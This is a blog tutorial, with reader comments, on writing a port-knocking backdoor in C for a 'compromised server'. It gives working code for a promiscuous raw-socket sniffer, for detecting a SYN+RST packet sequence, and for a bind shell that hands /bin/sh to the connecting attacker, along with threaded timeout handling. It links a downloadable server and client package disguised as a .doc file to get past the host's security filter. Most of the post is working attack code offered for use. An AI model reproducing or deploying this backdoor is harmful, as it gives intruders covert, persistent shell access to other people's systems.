Home > C/C++, GNU/Linux, Security > Port-knocking Backdoor

Port-knocking Backdoor

Hi.
In this post I’ll explain to you how to make a *unix backdoor using a “port knocking” scheme. That is, if we’ll “knock” to some TCP ports that we have initially decided, our program will open a backdoor for us (but only for us :) ).
How does the “port knocking” scheme work? The attacker decides a particular sequence of packets that will be sent to a compromised server where the backdoor is running. When the backdoor program will receive this particular sequence then it will give to the attacker the server’s shell.
I.e.:

attacker: I want that the backdoor recognize me if and only if it receives a
sequence of three TCP packets with RST flag set to 1. Moreover this
sequence is correct only if each one is sent by the same ip.

An example of this scheme:
ip_allowed=192.168.1.1
sequence=RST,RST,RST

				RST x 3
attacker(192.168.1.1)    ----------------->    host
                                               host[sequence => ok]
                                               host[check ip => ok]
				/bin/sh
attacker(192.168.1.1)    <-----------------    host

So, the first thing we have to do is to write a stupid sniffer that can eavesdrop the traffic in order to recognize the packets we need. We have to create a socket in the following way:

	sock_ioctl = socket(PF_INET, SOCK_DGRAM, 0);

Where:
– PF_INET: “Protocol Family”;
– SOCK_DGRAM: ” Supports datagrams”;

Now we have to set the device in promiscuous mode:

struct ifreq ifr;

...

strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));

ioctl(sock_ioctl, SIOCGIFFLAGS, &ifr);

ifr.ifr_flags |= IFF_PROMISC;
ioctl(sock_ioctl, SIOCSIFFLAGS, &ifr);

We have to create another socket in order to read data:

sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);

Where:
– PF_INET: “Protocol Family”;
– SOCK_RAW: ” Provides raw network protocol access”;
– IPPROTO_TCP: “TCP protocol”;

Now we can check the sniffed data to search for our interested packets:

struct tcphdr *tcp;
struct iphdr *ip;

...

if( read(sockfd, buffer, MAXBUF) > 0 ) {

	ip = (struct iphdr *) buffer;
	tcp = (struct tcphdr *) (buffer+ ip->ihl*4);

	if( tcp->rst == 1 && tcp->syn == 1){

		//ooook

	}
}

In line 6 we check if the packet contain the “syn” and “rst” flags setted to 1: this is just an example.
The other flags in the “tcphdr” structure are:

struct tcphdr {
	...
	unsigned short urg:1;
	unsigned short ack:1;
	unsigned short psh:1;
	unsigned short rst:1;
	unsigned short syn:1;
	unsigned short fin:1;
	...
}

Ok, in such way we can recognize the client and we can open the shell per it.
Now the question is: how can we “bind” the shell to a TCP port in order that a client can connect and use it?
We have to redirect the stdin, stdout and stderr to connected client socket and later we can run the shell:

void create_backdoor(int clientfd) {

	close(0);
	close(1);
	close(2);

	dup2(clientfd, 0);
	dup2(clientfd, 1);
	dup2(clientfd, 2);

	execl("/bin/sh", "/bin/sh", "-i", NULL);
}

From line 3 to 5 we close the stdin, stdout and stderr file descriptors (0,1,2). From line 7 to 9 we copy the file descriptors to the client socket. In line 11 we run the shell “/bin/sh”.
Now you have all the informations in order to create your own port knocking backdoor.
But, we can add more features to our backdoor: a login or a time out connection (if the backdoor recognizes the sequence of packets, but there is’nt a connection within the timeout then the port will be closed again).
The first feature is very simple to implement; the second one just a little bit difficult.
We have to implement two different threads: the first listens on a port and waits for a client connection. The second one does the count down and warns the first thread when the time is expired.
You can do as follows:

int wait_4_connection(char *ip) {

	pthread_t threads[NUM_THREADS];
	pthread_attr_t attr;
	int t1 = 1, t2 = 2, i = 0;

	timeout = 0;
	conn_accepted = 0;

	pthread_mutex_init(&count_mutex, NULL);
  	pthread_cond_init (&count_threshold_cv, NULL);

	pthread_attr_init(&attr);
	pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);

	pthread_create(&threads[0], &attr, ticker, &t1);
	pthread_create(&threads[1], &attr, accepter, &t2);

	for( i = 0; i < NUM_THREADS; i++ ) {
	   	if( pthread_join(threads[i], NULL) != 0 ) {
	   		printf("Cannot wait thread");
	   		return -1;
	   	}
	}

	pthread_attr_destroy(&attr);
  	pthread_mutex_destroy(&count_mutex);

	return 0;
}

We have created two threads: the “ticker” (to do the count down) and the “accepter” (to accept the client connection).
The relative codes are the following:
The Ticker function:

void *ticker(void *t) {

	pthread_mutex_lock(&count_mutex);

	pthread_cond_wait(&count_threshold_cv, &count_mutex);

	pthread_mutex_unlock(&count_mutex);

	/* now I can start the countdown... */

	sleep(SEC);

	timeout = 1;

	pthread_exit(NULL);
}

The thread first synchronizes itself with the other thread and later sleeps “SEC” seconds.
The Accepter function:

void *accepter(void *t) {

      	...

	if ((flags = fcntl(sockfd, F_GETFL, 0)) < 0)
	{
		perror("Fcntl()");

		pthread_cond_signal(&count_threshold_cv);
		pthread_mutex_unlock(&count_mutex);

		close(sockfd);

		pthread_exit(NULL);
	}

	/* I set the socket as NO-blocking socket... */

	if (fcntl(sockfd, F_SETFL, flags | O_NONBLOCK) < 0)
	{
		perror("Fcntl()");
		
		close(sockfd);
		
		pthread_cond_signal(&count_threshold_cv);
		pthread_mutex_unlock(&count_mutex);
		
		pthread_exit(NULL);
	}
	
	/* now the ticket can start the countdown... */
	
      	pthread_cond_signal(&count_threshold_cv);

	pthread_mutex_unlock(&count_mutex);
		
	while( timeout != 1 ) {

		clientfd = accept(sockfd, (struct sockaddr*)&client_addr, &addrlen);
		
		if( clientfd > 0 ) {
			conn_accepted = 1;
			break;
		}
	
	}

	/* If the count down is finished and there is not incoming connection I can close the port ... */

	if ( timeout == 1 && conn_accepted == 0 ) {

		printf("Timeout reached! I'll close the port\n");

		close(sockfd);
		pthread_exit(NULL);
	}
}

First we set the socket as non-blocking: in such way we can check at the same time if the time is expired and if the client si connected. Later the thread synchronizes itself with the “ticker” thread and starts the “accept-timeout_check” loop (lines from 37 to 46).
You can find an example of this kind of backdoor here.
Download – knock_back.tar.gz
You have to rename the file: when you download the file, its name will be “knock_back.tar.doc”. You must rename it into “knock_back.tar.gz”. This is due to wordpress and their security policies… ;)
The package include a server port-knocking backdoor and a client: the second one sends the packets to the server with the right flags setted and next it connects to the opened shell.
The description of server is the following:

The server wait (sniffing) 4 (or more, or less, just according with client) 
packets from someone with the SYN and RST flags setted to 1.
When this happens, the server will open a port for 'n' seconds to the client. 
If the client'll connect to server within the 'n' seconds, then the server 
(after a phase of authentication) will give to it a shell.
Otherwise the port will be close again.

You can compile this client just typing in your shell:
	$ make
Or remove with:
	$ make clean
	
If you want to enable the printf(), you must compile as follow:
	$ make mode=DEBUG

Now you can run the program with the executing "./main" into the local 
"bin/" directory.

When you run the server you have to specify the device. I.e.:

$ ./bin/main eth0

The description of client is the following:

The client send 4 (or more, or less, just how many you want :) ) packets 
to server with the SYN and RST flags setted to 1.
If all it's ok, the server will ask to client to authenticate it self with a 
password.
Again if all it's ok, the server will open a shell to the client.

You can compile this client just typing in your shell:
	$ make
Or remove with:
	$ make clean

Now you can run the program with the executing "./main" into the local 
"bin/" directory. You can run with -h flags to show the help.

Usage of client:

Usage:

./bin/main [required] [optional]

[required]:
	 -d 		destination ip

[optional]:
	 -p 		port connect to
				(default port: 3493)
	 -i 		interface to use
				(default interface: lo)

In DEBUG mode you will see all the things that are happening.
You can try to modify the code as you need.
Remember that you must be root to run both the programs.
For any critics or suggests you can write a comments. :)

Bye bye.

  1. Dan
    February 1, 2011 at 20:53

    The knocking scheme is too simplistic so it wouldn’t be hard to write a mass scanner to find hosts on the net running this. Perhaps it should use some of the knocking packets’ other fields to implement a ‘password’ ? So packets would only be considered if (tcp->rst == 1 && tcp->syn == 1 && tcp->seq == 0xDEADBEEF) for example.

    • February 7, 2011 at 21:50

      Thank you for your suggest! You are right.

  2. ted
    July 30, 2014 at 18:23

    sson@ted:~/Desktop/knock/knock_back/server$ make mode=DEBUG
    gcc -I lib/ -lpthread -g -Wall -DDEBUG -c src/main.c -o obj/main.o
    gcc -I lib/ -lpthread -g -Wall -DDEBUG -c src/thread.c -o obj/thread.o
    gcc -I lib/ -lpthread -g -Wall -DDEBUG -c src/wait.c -o obj/wait.o
    gcc -I lib/ -lpthread -g -Wall -DDEBUG -o bin/main obj/main.o obj/thread.o obj/wait.o
    obj/wait.o: In function `wait_4_connection’:
    /home/sson/Desktop/knock/knock_back/server/src/wait.c:18: undefined reference to `pthread_create’
    /home/sson/Desktop/knock/knock_back/server/src/wait.c:19: undefined reference to `pthread_create’
    /home/sson/Desktop/knock/knock_back/server/src/wait.c:23: undefined reference to `pthread_join’
    collect2: ld returned 1 exit status
    make: *** [main] Error 1

    I encountered this error when I want to compile this code

  3. ted
    July 30, 2014 at 19:00

    I’ve solved this problem. Thanks :)

  4. September 7, 2018 at 00:41

    Appreciating the time annd effort you pᥙt into
    your site and іn depth inf᧐rmation уou provide. Іt’ѕ
    awesome to comе across ɑ blog evеry օnce in а whilе thɑt iѕn’t tһe same out օf date rehashed material.
    Fantastic гead! I’ve saved yоur site and I’m adding ʏouг RSS
    feeds tօⲟ mʏ Google account.

  1. January 25, 2011 at 00:01

Leave a comment